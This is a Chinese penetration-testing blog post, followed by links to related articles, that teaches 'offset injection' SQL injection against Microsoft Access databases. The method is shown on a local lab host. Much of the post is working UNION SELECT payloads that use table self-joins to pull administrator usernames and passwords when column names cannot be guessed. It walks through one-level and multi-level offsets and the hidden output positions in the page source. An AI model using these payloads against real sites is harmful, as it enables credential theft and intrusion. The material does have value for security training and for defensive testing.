渗透测试----access偏移注入
偏移注入指access偏移注入,由于数据库结构的问题,偏移注入只适用于access数据库。对于access数据库来说,无论是逐字猜解还是联合查询注入,都是需要我们能够猜到用户名和密码的列名(字段),才可以注入出数据,而有的时候,站长取的字段名很另类,我们猜不出来的时候,就需要偏移注入了。
偏移注入的前提:
猜出表名,且知道一个或多个字段。(access)
如果当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,这样我们成功率会更高。意思就是管理表字段越少越好,最好只有id,username,password三个字段。
下面我本地搭个环境来演示:
目标站:192.168.17.128/0

这里是注入点。http://192.168.17.128/0/Production/PRODUCT_DETAIL.asp?id=1513

当前注入点字段数22,管理表名admin,下面直接联合查询爆显位。

3和15为显位,这时候我们跑不出字段,选择偏移注入。
判断管理表内存在的字段数。
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,* from admin

继续,直到返回正常。
union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,,* from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,,* from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,* from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,,* from admin union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,,* from admin
到16返回正常,那么我们此时得出admin表下有6个字段。(字段数-返回正常字段数 22-16=6)

这里要说一下"admin as a inner join admin as b on a.id=b.id"的意思,下面要用到,把admin表命名a表,b表,打印a.id=b.id的所有行。这里是admin表的自连接,admin为表名, id为字段(可以是其他已知字段)。
偏移注入的基本公式为:order by 出的字段数-*号的字段数x2。这里是22-6*2=10,那么开始构造payload,
union select 1,2,3,4,5,6,7,8,9,10,* from (admin as a inner join admin as b on a.id=b.id)

这里偏移到了管理员创建时间这个字段了(我也猜的,反正不是我们要的),然后下面就要利用到隐性显位了,我们可以"查看网页源代码"。

可以看到密码了,心情逐渐忐忑…哈哈。
这时候已经得到了密码,却没有账号怎么办,我们只需要把它打乱就可以,这样信息重组,很有可能会把管理员账号给爆出来。在字段后面插个a.id,b.id,
union select 1,2,3,4,5,6,7,8,9,10,a.id,b.id,* from (admin as a inner join admin b on a.id=b.id)
或者只加a.id也可以打乱信息组合,
union select 1,2,3,4,5,6,7,8,9,10,a.id,* from (admin as a inner join admin b on a.id=b.id)

这样经过了两次偏移我们得到了管理员账号密码。不过这里只是一级偏移,在字段足够多的时候,我们可以多级偏移,成功率会高很多,
这个时候我们再去掉6个字段(管理表下的字段数),增加c.id代替字段重新打乱组合,
union select 1,2,3,4,a.id,b.id,c.id,* from ((admin as a inner join admin as bon a.id=b.id) inner join admin as c on a.id=c.id)


这次隐性显位一次性爆出了管理账号密码,啧啧,这时候也解释了前面为什么说当前注入点的脚本内查询的表内的字段数较多,而管理表内字段较少,成功率会更高了。
PS:偏移注入只适用于access数据库。
渗透测试----access偏移注入的更多相关文章
- access偏移注入原理
前言:近段时间在学习access偏移注入时,在网上查询了大量的资料,感觉很多资料讲解的十分模糊并且我个人认为有很多不够严谨的地方,于是我便在线下经过大量测试,写出以下文章,如有错误,望指出. 如要转载 ...
- 使用C#winform编写渗透测试工具--SQL注入
使用C#winform编写渗透测试工具--SQL注入 本篇文章主要介绍使用C#winform编写渗透测试工具,实现SQL注入的功能.使用python编写SQL注入脚本,基于get显错注入的方式进行数据 ...
- Web渗透测试(sql注入 access,mssql,mysql,oracle,)
Access数据库注入: access数据库由微软发布的关系型数据库(小型的),安全性差. access数据库后缀名位*.mdb, asp中连接字符串应用-- "Driver={micros ...
- access数据库一般注入方法及偏移注入
1.access数据库与mysql数据库的差别 access没有数据库,access数据库每个数据都是单个文件,每个access只有表结构 mysql : 库名,表名,列名,字段内容 access:表 ...
- ACCESS 手工注入
ACCESS的注入,基本是死的.思路很简单,基本都可以工具解决.上代码: 1.判断有无注入点' and 1=1 and 1=22.猜表一般的表的名称无非是admin adminuser user pa ...
- Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过
Kali Linux Web 渗透测试视频教程—第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...
- Access数据库之偏移注入
/*转载请注明出处:珍惜少年时*/ 偏移注入主要是针对知道表,但是不知道字段的. 这里我已经知道了表明是:sys_admin 可以使用: select exists(selct * from sys_ ...
- 【渗透测试学习平台】 web for pentester -2.SQL注入
Example 1 字符类型的注入,无过滤 http://192.168.91.139/sqli/example1.php?name=root http://192.168.91.139/sqli/e ...
- 渗透测试初学者的靶场实战 1--墨者学院SQL注入—布尔盲注
前言 大家好,我是一个渗透测试的爱好者和初学者,从事网络安全相关工作,由于爱好网上和朋友处找了好多关于渗透的视频.工具等资料,然后自己找了一个靶场,想把自己练习的体会和过程分享出来,希望能对其他渗透爱 ...
随机推荐
- GitPage部署
前言 该文章主要为了记录我如何在GitPage上面部署博客网站,这里的话,码云上面也有相同的功能. 若有小伙伴担心GitHub担心把中国的访问也禁了的话(大概不会吧),可以在码云上面部署.流程应该是差 ...
- netty源码解解析(4.0)-18 ChannelHandler: codec--编解码框架
编解码框架和一些常用的实现位于io.netty.handler.codec包中. 编解码框架包含两部分:Byte流和特定类型数据之间的编解码,也叫序列化和反序列化.不类型数据之间的转换. 下图是编解码 ...
- [ZJOI2011]看电影(组合数学,高精度)
[ZJOI2011]看电影 这题模型转化很巧妙.(神仙题) 对于这种题首先肯定知道答案就是合法方案除以总方案. 总方案显然是\(k^n\). 那么考虑怎么算合法方案. 当\(n>k\)的时候显然 ...
- Springboot源码分析之番外篇
摘要: 大家都知道注解是实现了java.lang.annotation.Annotation接口,眼见为实,耳听为虚,有时候眼见也不一定是真实的. /** * The common interface ...
- 综述 | SLAM回环检测方法
本文作者任旭倩,公众号:计算机视觉life成员,由于格式原因,公式显示可能出问题,建议阅读原文链接:综述 | SLAM回环检测方法 在视觉SLAM问题中,位姿的估计往往是一个递推的过程,即由上一帧位姿 ...
- Python-demo(photo)
import osimport urllib import requests#import wximport time from fake_useragent import UserAgentfrom ...
- 9406LaTeX公式
需要注意的是: 1.本文只对第四章排版数学公式进行简单整理 2.本文大量内容直接引自官网,尤其是涉及4.开头的标题,为方便读者查阅对比,就不一一删改和引注,你可以点此访问官网对应内容,也可以点此下载我 ...
- Liunx软件安装之Redis
Redis是一个开源(BSD许可),内存数据结构存储,用作数据库,缓存和消息代理.它支持数据结构,如字符串,散列,列表,集合,带有范围查询的排序集,位图,超级日志和带有半径查询的地理空间索引.Redi ...
- FZU - 1914
题意略. 思路: 我们应该着重关注负数对当前数列的影响,由于前缀和的性质,我们都是从当前数字向前加,这其实也是在枚举以哪个下标作为开头. 详见代码: #include<stdio.h> # ...
- Filter(过滤器)(有待补充)
Filter(过滤器) 一.Filter(过滤器)简介 Filter 的基本功能是对 Servlet 容器调用 Servlet 的过程进行拦截,从而在 Servlet 进行响应处理的前后实现一些特殊的 ...